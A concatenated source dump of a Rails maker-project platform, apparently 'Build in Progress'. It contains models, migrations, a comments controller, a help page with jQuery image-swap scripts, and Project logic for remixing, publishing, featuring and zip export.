(trackable_type == "Collectify" && trackable.present? && trackable.project.private?)
)
end
def self.public_activities
PublicActivity::Activity.all.select{ |a| !a.is_private?}
end
# returns true if it's a followed comment
def is_followed_comment?
return !primary
end
def self.comments
where(:trackable_type=>"Comment")
end
def self.favorited_projects
where(:trackable_type=>"FavoriteProject")
end
def self.project
where(:trackable_type=>"Project")
end
def is_comment?
key == "comment.create"
end
def is_featured?
key=="project.feature"
end
def is_added_as_collaborator?
key=="project.author_add"
end
def is_favorited?
key=="favorite_project.create"
end
def is_added_to_collection?
key=="collectify.create"
end
def is_updated_collection?
key=="collectify.owner_create"
end
def is_followed?
key=="user.follow"
end
def is_remixed?
key=="project.create" && trackable.root
end
end<file_sep>/db/migrate/20130828180804_rename_column_remix_id.rb
class RenameColumnRemixId < ActiveRecord::Migration
def change
rename_column :projects, :remix_id, :remix_ancestry
end
end
<file_sep>/db/migrate/20140131222859_remove_url_from_design_files.rb
class RemoveUrlFromDesignFiles < ActiveRecord::Migration
def change
remove_column :design_files, :url
end
end
<file_sep>/db/migrate/20140514160153_add_label_color_to_step.rb
class AddLabelColorToStep < ActiveRecord::Migration
def change
add_column :steps, :label_color, :string
end
end
<file_sep>/app/models/design_file.rb
class DesignFile < ActiveRecord::Base
attr_accessible :project_id, :step_id, :user_id, :design_file_path
belongs_to :step
belongs_to :project
belongs_to :user, :touch=> true
mount_uploader :design_file_path, DesignFilePathUploader
validates :design_file_path, :presence => true
# returns the filename of the design file (including extension) from the design_file_path url
def filename
self.design_file_path.split('/').pop()
end
end
<file_sep>/redis-stable/src/help.h
<% title "Help | #{ENV['APP_NAME']}" %>
<div class="fullRow">
<ul class="nav nav-list">
<li class="nav-header">PROJECTS</li>
<li><a href="#create_project">Create a Project</a></li>
<li><a href="#add_step">Add a Step</a></li>
<li><a href="#reorder_steps">Reorder Steps</a></li>
<li><a href="#create_branch">Create a Branch</a></li>
<li><a href="#create_branch_label">Create a Branch Label</a></li>
<li><a href="#edit_categories">Edit Categories</a></li>
<li><a href="#edit_collaborators">Edit Collaborators</a></li>
<li><a href="#add_design_files">Add Design Files</a></li>
<li><a href="#ask_a_question">Ask a Question</a></li>
<li><a href="#embed_project">Embed Your Project</a></li>
<li><a href="#export_project">Export Your Project</a></li>
<li><a href="#set_privacy">Set Privacy Settings</a></li>
<li><a href="#create_remix">Create a Remix</a></li>
<li class="nav-header">COLLECTIONS</li>
<li><a href="#create_collection">Create a Collection</a></li>
<li><a href="#add_project">Add a Project</a></li>
<li><a href="#set_privacy_collections">Set Privacy Settings</a></li>
<li class="nav-header">SOCIAL</li>
<li><a href="#follow_user">Follow a User</a></li>
<li><a href="#favorite">Favorite</a></li>
<li><a href="#comment">Comment</a></li>
</ul>
<div class="container">
<h3>Help</h3>
<div class="clear"></div>
<div class="helpText">
<div class="tabbable">
<ul class="nav nav-tabs">
<li class="tab active"><a href="#projects" data-toggle="tab">Projects</a></li>
<li class="tab"><a href="#collections" data-toggle="tab">Collections</a></li>
<li class="tab"><a href="#social" data-toggle="tab">Social</a></li>
</ul>
</div>
<div class="tab-content">
<div class="tab-pane active" id="projects">
<div class="instructions" id="create_project">
<%= image_tag "help/create_project_static.png", :class=>"help_gif create_project_img" %>
<h4>Create a Project</h4>
<p>To create a project, click the profile button on the top of the page, and then click "Create Project".</p>
</div>
<div class="instructions" id="add_step">
<%= image_tag "help/add_a_step_static.png", :class=>"help_gif add_a_step_img" %>
<h4>Add a Step</h4>
<p>To add a step, click the "+" button on the left side of the project page. You can add a name, description, and images and videos to your step. Don't forget to click the "Create Step" to save!
</p>
</div>
<div class="instructions" id="reorder_steps">
<%= image_tag "help/reorder_step_static.png", :class=>"help_gif reorder_step_img"%>
<h4>Reorder Steps</h4>
<p>Click and drag steps to rearrange. Places you can drop a step will be highlighted in blue.</p>
</div>
<div class="instructions" id="create_branch">
<%= image_tag "help/create_branch_static.png", :class=>"help_gif create_branch_img" %>
<h4>Create a Branch</h4>
<p>To create a branch, drag and drop a step over the step you want it to follow.
</p>
</div>
<div class="instructions" id="create_branch_label">
<%= image_tag "help/create_branch_label_static.png", :class=>"help_gif create_branch_label_img" %>
<h4>Create a Branch Label</h4>
<p>You can create branch labels to help organize different branches in your project.</p>
<p>To create a branch label, click the “A” button on the left of the project page. Select a color for your label, give it a title, and click "Create Label." Drag and drop the label to rearrange.
</p>
</div>
<div class="instructions" id="edit_categories">
<%= image_tag "help/edit_categories_static.png", :class=>"help_gif edit_categories_img" %>
<h4>Edit Categories</h4>
<p>You can add categories to your project to make it easier for others to find. Click the "Add Project Categories" link to select categories for your project.</p>
</div>
<div class="instructions" id="edit_collaborators">
<%= image_tag "help/edit_collaborators_static.png", :class=>"help_gif edit_collaborators_img" %>
<h4>Edit Collaborators</h4>
<p>To add collaborators to a project, click on the blue collaborators button on your project page. Type the username of the collaborator you would like to add, select the user from the dropdown menu, and click the "Save" button. All collaborators can edit the project directly.</p>
<p>To remove collaborators, click the "Edit Collaborators" button and click "remove" next to any user you want to remove.</p>
</div>
<div class="instructions" id="add_design_files">
<%= image_tag "help/add_design_files_static.png", :class=>"help_gif add_design_files_img" %>
<h4>Add Design Files</h4>
<p>You can upload design files (like CAD files and Arduino or Processing sketches) to your project page. Edit a step and expand the "Manage Design Files" section, where you'll be able to add design files.</p>
</div>
<div class="instructions" id="ask_a_question">
<%= image_tag "help/ask_a_question_static.png", :class=>"help_gif ask_a_question_img" %>
<h4>Ask a Question</h4>
<p>You can ask for advice on your project by posting a question to a step. Edit a step and expand the "Ask for Advice" section, where you can type in a question to ask. This will create a flag on your project, and your question may also appear directly on the homepage.</p>
</div>
<div class="instructions" id="ask_a_question">
<%= image_tag "help/mark_question_answered_static.png", :class=>"help_gif mark_question_answered_img" %>
<p style="margin-top: 38px;">Be sure to mark your question as answered when you've made a decision. Clicking the "answered" box near your question. You will then be directed to the step form, where you can describe what you decided to do.</p>
</div>
<div class="instructions" id="embed_project">
<%= image_tag "help/embed_project_static.png", :class=>"help_gif embed_project_img" %>
<h4>Embed Your Project</h4>
<p>To grab embed code to share your project on other sites, click the blue share button on the project page and copy the embed code.</p>
</div>
<div class="instructions" id="export_project">
<%= image_tag "help/export_project_static.png", :class=>"help_gif export_project_img" %>
<h4>Export Your Project</h4>
<p>To download the images, text, and videos from your project, click the black export button on your project page. This will download a zip file onto your computer with all your documentation.</p>
</div>
<div class="instructions" id="set_privacy">
<%= image_tag "help/set_privacy_static.png", :class=>"help_gif privacy_gif set_privacy_img" %>
<h4>Set Privacy Settings</h4>
<p>There are three possible privacy settings for your project:
<ul>
<li><strong>Public</strong>: Your project will be shared with everyone on Build in Progress</li>
<li><strong>Unlisted</strong>: Only users with a direct link to your project will be able to see the project.</li>
<li><strong>Private</strong>: Only you can view your project</li>
</ul>
<p>To set the privacy for your project, select from the privacy dropdown menu at the top of your project page.</p>
</p>
</div>
<div class="instructions" id="create_remix">
<%= image_tag "help/remix_static.png", :class=>"help_gif remix_img" %>
<h4>Create a Remix</h4>
<p>A remix is a new project inspired by an existing project on the site.</p>
<p>When you click the green remix button on a project page, it will create a remix of the original project that you can edit however you'd like. Your remix becomes public on Build in Progress once you've edited it.</p>
</div>
</div>
<div class="tab-pane" id="collections">
<div class="instructions" id="create_collection">
<%= image_tag "help/create_collection_static.png", :class=>"help_gif create_collection_img" %>
<h4>Create a Collection</h4>
<p>To create a collection, click the profile button on the top of the page, and then click "Create Collection".</p>
</div>
<div class="instructions" id="add_project">
<%= image_tag "help/add_project_static.png", :class=>"help_gif add_project_img" %>
<h4>Add a Project</h4>
<p>To add a project to a collection, enter the project URL and click the "+ Add project" button. Anyone can add a project to a collection, but only the owner of the collection can remove projects.</p>
</div>
<div class="instructions" id="set_privacy_collections">
<%= image_tag "help/set_privacy_collections_static.png", :class=>"help_gif privacy_gif set_privacy_collections_img" %>
<h4>Set Privacy Settings</h4>
<p>There are three possible privacy settings for your collection:
<ul>
<li><strong>Public</strong>: Your collection will be shared with everyone on Build in Progress</li>
<li><strong>Unlisted</strong>: Only users with a direct link to your collection will be able to see the collection.</li>
<li><strong>Private</strong>: Only you can view your collection</li>
</ul>
<p>To set the privacy for your collection, select from the privacy dropdown menu at the left of your collections page.</p>
</p>
</div>
</div>
<div class="tab-pane" id="social">
<div class="instructions" id="follow_user">
<%= image_tag "help/follow_static.png", :class=>"help_gif follow_img" %>
<h4>Follow a User</h4>
<p>If you follow users on Build in Progress, you'll be able to see their project updates on your activity feed (which you can view on the homepage).</p>
<p>To follow a user, go to their profile page and click the "follow" button.</p>
</div>
<div class="instructions" id="favorite">
<%= image_tag "help/favorite_static.png", :class=>"help_gif favorite_img" %>
<h4>Favorite</h4>
<p>To favorite a project, click the star button on the project page.</p>
</div>
<div class="instructions" id="comment">
<%= image_tag "help/comment_static.png", :class=>"help_gif comment_img" %>
<h4>Comment</h4>
<p>To comment, click a step, type your comment in the comment section, and click the "Comment" button.</p>
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
// alternate between static image and gif for different help images
$('.create_project_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/create_project.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/create_project_static.png") %>');
});
$('.add_a_step_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/add_a_step.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/add_a_step_static.png") %>');
});
$('.reorder_step_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/reorder_step.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/reorder_step_static.png") %>');
});
$('.create_branch_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/create_branch.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/create_branch_static.png") %>');
});
$('.create_branch_label_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/create_branch_label.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/create_branch_label_static.png") %>');
});
$('.edit_categories_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/edit_categories.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/edit_categories_static.png") %>');
});
$('.edit_collaborators_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/edit_collaborators.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/edit_collaborators_static.png") %>');
});
$('.add_design_files_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/add_design_files.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/add_design_files_static.png") %>');
});
$('.ask_a_question_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/ask_a_question.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/ask_a_question_static.png") %>');
});
$('.mark_question_answered_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/mark_question_answered.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/mark_question_answered_static.png") %>');
});
$('.embed_project_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/embed_project.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/embed_project_static.png") %>');
});
$('.export_project_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/export_project.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/export_project_static.png") %>');
});
$('.set_privacy_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/set_privacy.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/set_privacy_static.png") %>');
});
$('.remix_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/remix.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/remix_static.png") %>');
});
$('.create_collection_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/create_collection.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/create_collection_static.png") %>');
});
$('.add_project_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/add_project.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/add_project_static.png") %>');
});
$('.set_privacy_collections_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/set_privacy_collections.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/set_privacy_collections_static.png") %>');
});
$('.follow_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/follow.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/follow_static.png") %>');
});
$('.favorite_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/favorite.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/favorite_static.png") %>');
});
$('.comment_img').hover(function(){
$(this).attr('src', '<%= asset_path("help/comment.gif") %>');
}, function(){
$(this).attr('src', '<%= asset_path("help/comment_static.png") %>');
});
$('li a').click(function(){
$('li a').removeClass("active");
$(this).addClass("active");
var tab_name = $(this).parent().prevAll('.nav-header:first').html().toLowerCase();
$('.nav-tabs a[href="#'+tab_name+'"]').tab('show');
var id = $(this).attr('href');
$(id).animateHighlight('#E7F3FF', 3000);
});
function offsetAnchor() {
if(location.hash.length !== 0) {
window.scrollTo(window.scrollX, window.scrollY - 170);
}
}
$(window).on("hashchange", function () {
offsetAnchor();
});
</script><file_sep>/config/environment.rb
# Load the rails application
require File.expand_path('../application', __FILE__)
require 'hirb'
Hirb.enable
Hirb::Formatter.dynamic_config['ActiveRecord::Base']
# Initialize the rails application
Build::Application.initialize!
# remove cache logs
Rails.cache.silence!<file_sep>/app/controllers/comments_controller.rb
class CommentsController < ApplicationController
before_filter :authenticate_user!
def create
@project = Project.find(params[:project_id])
@commentText = params[:comment][:body]
@user = current_user
@comment = Comment.build_from(@project.steps.find(params[:step_id]), @user.id, @commentText)
respond_to do |format|
if @comment.save
# create an activity for each author of the project
@project.users.each do |user|
if user != current_user
@activity = @comment.create_activity :create, owner: current_user, recipient: user, primary: true
# send an email to the user
Rails.logger.debug("attempting to send email notification to #{user.username}")
if user.settings(:email).comments == true
Rails.logger.debug("sending comment email notification")
NotificationMailer.delay.notification_message(@activity, user)
end
end
end
# create an array containing all unique users that have previously commented on this step
comment_users = Array.new
@comment.commentable.comment_threads.each do |existing_comment|
if ((comment_users.include? existing_comment.user_id) == false) && (existing_comment.user_id != @comment.user_id) && (!@project.users.include? existing_comment.user)
comment_users.push(existing_comment.user_id)
end
end
# create an activity for all other people that have commented on this step
comment_users.each do |user_id|
@comment.create_activity :create, owner: current_user, recipient: User.find(user_id), primary: false
end
comments_id = "comments_" + @comment.commentable_id.to_s
comment_id = "comment_" + @comment.id.to_s
format.html {
redirect_to project_steps_path(@project, :step => @comment.commentable.id, :comment_id=> @comment.id.to_s)
}
else
format.html { render :action => 'new' }
end
end
end
def destroy
@project = Project.find(params[:project_id])
@comment = Comment.find(params[:id])
authorize! :destroy, @comment
# destroy public activities associated with comment
if @comment.activities
@comment.activities.destroy_all
end
@comment.destroy
respond_to do |format|
format.html {redirect_to project_steps_path(@project)}
end
end
end<file_sep>/db/migrate/20140107210656_add_original_users_to_step.rb
class AddOriginalUsersToStep < ActiveRecord::Migration
def change
add_column :steps, :original_authors, :text
end
end
<file_sep>/app/models/project.rb
class Project < ActiveRecord::Base
include PublicActivity::Common
include ActionView::Helpers::SanitizeHelper
require 'rubygems'
require 'zip'
require 'htmlentities'
acts_as_api
has_ancestry :orphan_strategy => :adopt, :ancestry_column => :remix_ancestry
attr_accessible :title, :images_attributes, :design_files_attributes, :user_id, :built, :remix, :featured, :featured_on_date, :updated_at, :remix_ancestry, :description,
:village_id, :privacy, :cover_image
has_many :steps, :dependent => :destroy
has_many :images, :dependent => :destroy
has_many :videos, :dependent => :destroy
has_many :sounds, :dependent => :destroy
has_many :edits, :dependent => :destroy
has_many :design_files, :dependent => :destroy
has_and_belongs_to_many :users
# Favorited by users
has_many :favorite_projects, :dependent=> :destroy
has_many :favorited_by, :through => :favorite_projects, :source => :user # users that favorite a project
has_many :collectifies, :dependent => :destroy
has_many :categorizations, :dependent => :destroy
has_many :collections, :through => :collectifies
has_many :categories, :through => :categorizations
accepts_nested_attributes_for :steps
accepts_nested_attributes_for :images
accepts_nested_attributes_for :videos
accepts_nested_attributes_for :design_files
validates :title, :presence => true, length: {maximum: 40}
scope :built, where(:built => true)
scope :not_built, where(:built=> false)
scope :featured, where(:featured=>true)
scope :remixes, where("remix_ancestry IS NOT NULL")
scope :private_projects, where(:privacy => "private")
scope :unlisted_projects, where(:privacy => "unlisted")
scope :public_projects, where(:privacy => "public")
searchable do
text :description, :stored => true do
strip_tags(description)
end
end
# define whether a project is published
def published?
published = false
if is_remix?
# check if the remix has been updated (user has either added new step or added new image, edited a step)
if (updated_at != created_at) && (images.count>0)
published = true
end
else
# for non remixed projects, projects are published if the title has been updated and a picture has been uploaded
if !title.starts_with?("Untitled")
if images.count > 0
published = true
end
end
end
return published
end
# sets published for project
def set_published(current_user_id, project_id, step_id)
project = Project.find(project_id)
if step_id != nil
step = Step.find(step_id)
end
current_user = User.find(current_user_id)
if project.published? and project.privacy.blank?
# project went from being unlisted to published
if project.is_remix?
# create a notification for the remix project
project.ancestors.each do |ancestor|
ancestor.users.each do |user|
if user != current_user
@activity = project.create_activity :create, owner: current_user, recipient: user, primary: true
# create an email notification for newly remixed project
if user.settings(:email).remixed == true
NotificationMailer.delay.notification_message(@activity, user)
end
end
end
end
else
# create notification for new project
project.create_activity :new, owner: current_user, primary: true
end
project.update_attributes(:privacy => "public")
elsif project.published? && !project.private?
# create activities for creating / updating steps
if project.is_remix?
# create activities to remix ancestors that the project has been remixed
project.ancestors.each do |ancestor|
ancestor.users.each do |user|
if user != current_user && step_id != nil
if (step.created_at - step.updated_at).abs.to_i > 1
# step was updated
step.create_activity :update, owner: current_user, recipient: user, primary: true
else
# new step was created
step.create_activity :create, owner: current_user, recipient: user, primary: true
end
end
end
end
elsif step_id != nil
# create activity for updated / creating steps (non-remixes)
if (step.created_at - step.updated_at).abs.to_i > 1
# step was updated
step.create_activity :update, owner: current_user, primary: true
else
# step was created
step.create_activity :create, owner: current_user, primary: true
end
end
# project is published
project.update_attributes(:privacy => "public")
elsif !project.published?
# project has become unpublished - delete all activities about it
PublicActivity::Activity.where(:trackable_id => project.id).destroy_all
project.steps.each do |step|
PublicActivity::Activity.where(:trackable_id => step.id).destroy_all
end
if project.featured
project.update_attributes(:featured => false)
end
project.update_attributes(:privacy => nil)
end
end
def unlisted?
self.privacy == "unlisted"
end
def public?
self.privacy == "public"
end
def private?
self.privacy == "private"
end
def unpublished?
self.privacy.blank?
end
# for generating json file of user projects
def image_path
images = Hash.new
step = last_step_with_images
if !step.blank? && !step.last_image.is_remix_image?
last_image = step.last_image
images["url"] = last_image.image_path_url
images["preview"] = last_image.image_path_url(:preview)
images["thumb"] = last_image.image_path_url(:thumb)
elsif !step.blank?
# load remix images
last_image = step.last_image.original_image
images["url"] = last_image.image_path_url
images["preview"] = last_image.image_path_url(:preview)
images["thumb"] = last_image.image_path_url(:thumb)
end
return images
end
# default_image: for non-remix projects- fetches the last image of the most recently published step in a project
# for remixed projects show the latest uploaded image
def default_image
if !self.is_remix?
# find the last image of the project
image = Image.unscoped.where(:project_id => id).where("image_path IS NOT NULL").joins(:step).order('steps.published_on DESC').order('position DESC').first
unless image.blank?
return image
end
elsif Image.where(:project_id => id).length > 0
if Image.unscoped.where(:project_id => id).where("image_path IS NOT NULL").where("original_id IS NULL").present?
return Image.unscoped.where(:project_id => id).where("image_path IS NOT NULL").where("original_id IS NULL").joins(:step).order('steps.published_on DESC').order('position DESC').first
else
image = Image.unscoped.where(:project_id => id).where("image_path IS NOT NULL").joins(:step).order('steps.published_on DESC').order('position DESC').first
if !image.original_id || image.blank?
return image
else
return Image.find(image.original_id)
end
end
else
return nil
end
end
# last_step_with_images: fetches the last step that has images in a project
def last_step_with_images
unless default_image.blank?
return default_image.step
end
end
# last_step_with_images_no_vid
def last_step_with_images_no_vid
unless homepage_image.blank?
if !is_remix?
return homepage_image.step
else
steps.joins(:images).order('steps.published_on DESC').first
end
end
end
# homepage_image: returns the last image from a project (excludes thumbnail images made from videos or sound files)
def homepage_image
if cover_image.present? && Image.find(self.cover_image)
homepage_image = Image.find(self.cover_image)
if homepage_image.original_id.blank?
return homepage_image
else
return Image.find(homepage_image.original_id)
end
else
homepage_image = Image.unscoped.where(:project_id => id).images_only.where("image_path IS NOT NULL").joins(:step).order('steps.published_on DESC').order('position DESC').first
unless homepage_image.blank?
if homepage_image.original_id.blank?
return homepage_image
else
return Image.find(homepage_image.original_id)
end
end
end
end
def is_remix?
return !remix_ancestry.blank?
end
def remix?
return is_remix?
end
def remix_image_preview
Image.find(first_step.last_image.original_id).image_path_url(:preview)
end
def built_step
steps.where(:last=>true).last()
end
def first_step
steps.order(:position).first
end
def overview
self.first_step
end
def non_first_steps
steps.where("position != 0").order(:published_on)
end
def updated_at_formatted
updated_at.strftime("%m/%d/%Y %H:%M:%S")
end
def remix_count
descendants.public_projects.count
end
def steps_count
steps.count
end
def word_count
words = 0
self.steps.each do |step|
words = words + step.description.length if step.description
end
return words
end
def image_count
self.images.count
end
def comment_count
step_ids = Project.includes(:steps).find(self.id).steps.pluck(:id)
counter = 0
Step.includes(:comment_threads).where(:id => step_ids).each do |step|
counter = counter+step.comment_threads.length
end
return counter
end
def remix(current_user)
# remix_project = @project.dup :include => [{:steps=> [:videos, :images]}]
remix_project = dup :include => [:steps], :except => :privacy
remix_project.parent_id = id
remix_project.users << current_user
remix_project.built = false
remix_project.featured = nil
remix_village_id = nil # remove relationship to village
remix_project.created_at = Time.now
remix_project.updated_at = Time.now
# add remix to the title if it doesn't already include remix and the title won't exceed maximum number of characters
if (!(title.include? "Remix") && title.length < 24 )
remix_project.title = title+" Remix"
end
if remix_project.save
# remove any existing project description
remix_project.update_attributes(:description=>"")
original_project_steps = steps.order(:position)
remix_project_steps = remix_project.steps.order(:position)
# # FIRST: remap ancestry of new steps
# # map new steps with old steps
step_hash = Hash.new # format: {original_step.id: remix_project_step.id}
original_project_steps.each_with_index do |step, index|
step_hash[original_project_steps[index].id]=remix_project_steps[index].id
end
# Rails.logger.debug "step_hash #{step_hash.inspect}"
# replace ancestry of new remix project steps with new ids
remix_project_steps.each do |remix_step|
remix_ancestry_array = Array.new
original_step_ancestry = original_project_steps.where(:position=> remix_step.position).first.ancestry
# Rails.logger.debug("original step ancestry #{original_step_ancestry}")
if original_step_ancestry && original_step_ancestry.match("/") != nil
original_ancestry_array = original_step_ancestry.split("/")
elsif !original_step_ancestry
original_ancestry_array = [0]
else
original_ancestry_array = [original_step_ancestry]
end
# define remix_ancestry_array
(0..original_ancestry_array.length-1).each do |i|
remix_ancestry_array.push(step_hash[Integer(original_ancestry_array[i])])
end
# Rails.logger.debug("remix_ancestry_array: #{remix_ancestry_array}")
# turn remix_ancestry_array array to string
remix_ancestry = remix_ancestry_array.join('/')
# Rails.logger.debug("remix ancestry for #{remix_step.id}: #{remix_ancestry}")
if remix_ancestry != nil
remix_step.update_attributes(:ancestry=> remix_ancestry)
end
# set original authors for the remix step
author_array = Array.new
original_project_steps.where(:position => remix_step.position).first.users.order("username").each do |user|
remix_step.users << user
author_array.push(user.id)
end
if remix_step.ancestry.blank?
remix_step.update_attributes(:original_authors => author_array, :ancestry=>0)
else
remix_step.update_attributes(:original_authors => author_array)
end
if !
Rails.logger.debug("#{remix_step.errors.inspect}")
end
if remix_step.last
remix_step.update_attributes(:last=>false)
end
end
images.each do |image|
remix_image = image.dup
remix_image.step_id=step_hash[image.step_id]
if remix_image.is_remix_image?
# if we're making a remix of a remix, reference the original id
remix_image.original_id=image.original_id
else
# if we're making a remix of a non-remixed image, reference the original image's id
remix_image.original_id = image.id
end
remix_image.save
Rails.logger.debug("created image #{remix_image.id}")
remix_project.images << remix_image
if image.video
remix_video = image.video.dup
remix_video.step_id = step_hash[image.step_id]
remix_project.videos << remix_video
end
end
end
return remix_project
end
# feature the project
def feature
Project.record_timestamps = false
self.update_attributes(:featured=>true)
self.update_attributes(:featured_on_date=>DateTime.now)
self.users.each do |user|
@activity = self.create_activity :feature, recipient: user, primary: true
self.create_activity :feature_public, owner: user, primary: true
# create email notification
if user.settings(:email).featured == true
puts "creating notification email for user #{user.username}"
NotificationMailer.delay.notification_message(@activity, user)
end
end
Project.record_timestamps = true
end
def unfeature
Project.record_timestamps = false
self.update_attributes(:featured=>false)
Project.record_timestamps = true
PublicActivity::Activity.where("key = ? AND trackable_id = ?", "project.feature", self.id).destroy_all
PublicActivity::Activity.where("key = ? AND trackable_id = ?", "project.feature_public", self.id).destroy_all
end
# returns the id of the last instance of a step with an unanswered question
def step_with_question
question_step = ""
if Project.joins(steps: :question).pluck(:id).include? self.id
step = Step.joins(:question).where(:project_id => self.id).order("updated_at").last
if !step.question.answered?
question_step = step.id
end
end
return question_step
# steps.order(:published_on).each do |step|
# if step.question && step.question.answered == false
# question_step = step.id
# end
# end
# return question_step
end
def questions
project_questions = Array.new
steps.order(:published_on).each do |step|
if step.question
project_questions << step.question
end
end
return project_questions
end
# images only associated with images (not video or sounds)
def photo_images_count
images.where(:video_id=>nil).count
end
def collaborative?
return users.count > 1
end
def set_built
if steps.pluck(:last).include? true
update_attributes(:built => true)
else
update_attributes(:built => false)
end
end
# return an array of ids of project authors that are registered on the village
def village_user_ids
users.collect do |user|
user.uid
end.compact
end
# export_txt - returnings all the descriptions in a project (project description + step descriptions) into a single
# txt file
def export_txt
if !File.directory?("#{Rails.root}/tmp/txt/")
Dir.mkdir(Rails.root.join('tmp/txt'))
end
txt_directory = "#{Rails.root}/tmp/txt/#{self.id}.txt"
txt = ""
txt = txt + (HTMLEntities.new.decode ActionView::Base.full_sanitizer.sanitize(self.description)) + "\n \n"
self.steps.not_labels.order("published_on").each do |step|
if step.description.present?
# add step description
txt = txt + (HTMLEntities.new.decode ActionView::Base.full_sanitizer.sanitize(step.description)) + "\n \n"
end
end
File.open(txt_directory, 'w') do |f|
f.puts txt
end
end
# export - returns a zip file of all the contentsn of a project, with a subdirectory for each step containing the
# step description + any images or videos and design files
def export
if !File.directory?("#{Rails.root}/tmp/zips/")
Dir.mkdir(Rails.root.join('tmp/zips'))
end
archive_file = "#{Rails.root}/tmp/zips/#{self.id}-#{self.title.delete(' ')}.zip"
Zip::OutputStream.open(archive_file) do |zipfile|
# add project description
zipfile.put_next_entry("project_description.txt")
zipfile.print(self.description)
step_num = 0
step_increment = false
self.steps.not_labels.order("published_on").each do |step|
logger.debug("on step #{step.name} with step_num #{step_num}")
if step.description.present?
# add step description
zipfile.put_next_entry(step_num.to_s + " - " + step.name + "/description.txt")
step_increment = true
zipfile.print(HTMLEntities.new.decode ActionView::Base.full_sanitizer.sanitize(step.description))
end
# add media
step.images.each do |image|
if image.is_remix_image?
image = Image.find(image.original_id)
end
if !image.has_video?
# add images
if image.image_path.present?
# add uploaded image
img_path = image.image_path_url
step_increment = true
elsif image.s3_filepath.present?
# add direct upload image
img_path = image.s3_filepath
step_increment = true
else
img_path = nil
end
if img_path != nil
filename = File.basename(URI.parse(img_path).path)
logger.debug("image filename: #{filename}")
zipfile.put_next_entry(step_num.to_s + " - " + step.name + "/" + filename)
zipfile.print(URI.parse(img_path).read)
end
elsif !image.video.embedded?
# add no embedded video
filename = File.basename(URI.parse(image.video.video_path_url).path)
logger.debug("video filename: #{filename}")
zipfile.put_next_entry(step_num.to_s + " - " + step.name + "/" + filename)
begin
zipfile.print(URI.parse(image.video.video_path_url).read)
step_increment = true
rescue OpenURI::HTTPError
# don't export videos with these errors
end
end
end # end step.images.each do |image|
step.design_files.each do |design_file|
filename = File.basename(URI.parse(design_file.design_file_path_url).path)
zipfile.put_next_entry(step_num.to_s + " - " + step.name + "/" + filename)
zipfile.print(URI.parse(design_file.design_file_path_url).read)
step_increment = true
end
if step_increment
step_increment = false
step_num = step_num+1
end
end
end
end
### SCRIPTS ###
# script for multi-author projects (1/10/2014)
def multi_author_project_script
# add project users
Project.all.each do |project|
project.add_project_users
end
# create edits
Step.all.each do |step|
step.add_edits
end
# add user_ids to images and video
Image.all.each do |image|
image.add_user
end
Video.all.each do |video|
video.add_user
end
# add original authors
Project.where("remix_ancestry IS NOT NULL").each do |project|
project.steps.each do |step|
step.set_original_authors
end
end
end
# tree_width - finds the total number of branches in a project
def tree_width
num_branches = 0
ancestry = self.steps.pluck(:ancestry)
repeat_ancestry = ancestry.group_by {|e| e}.select { |k,v| v.size > 1}.keys
repeat_ancestry.each do |value|
num_branches = num_branches + ancestry.grep(value).size
end
return num_branches
end
# num_branches
# finds the number of branches a project has
# returns the number of branches
def num_branches
num_branches = 0
ancestry = self.steps.pluck(:ancestry)
repeat_ancestry = ancestry.group_by {|e| e}.select { |k,v| v.size > 1}.keys
repeat_ancestry.each do |value|
num_branches = num_branches + ancestry.grep(value).size
end
return num_branches
end
# log: create a log file of project updates on aws
def log
project_id = self.id
if Project.exists?(project_id)
@project = Project.find(project_id)
s3 = AWS::S3.new(:access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_ACCESS_KEY'])
key = "logs/" + project_id.to_s + ".json"
project_json = []
obj = s3.buckets[ENV['AWS_BUCKET']].objects[key]
if obj.exists?
# get the current log file if it exists and append to it
puts "fetching existing json file"
project_json = JSON.parse(obj.read)
end
# only create log for new projects (not existing projects)
if !obj.exists?
# store all steps in the log file
steps_json = []
@project.steps.order(:position).each do |step|
#step.as_json(:only => [:id, :name, :position, :ancestry, :label, :label_color], :method => :first_image_path)
step_json = {
"id" => step.id,
"name" => step.name,
"position" => step.position,
"ancestry" => step.ancestry
}
# step_json["thumbnail_id"] = step.first_image.id if step.first_image.present?
step_json['label'] = step.label if step.label.present?
step_json['label_color'] = step.label_color if step.label.present?
steps_json << step_json
end
# create new json file
project_json = {
"data" => [
"updated_at" => @project.updated_at.to_s,
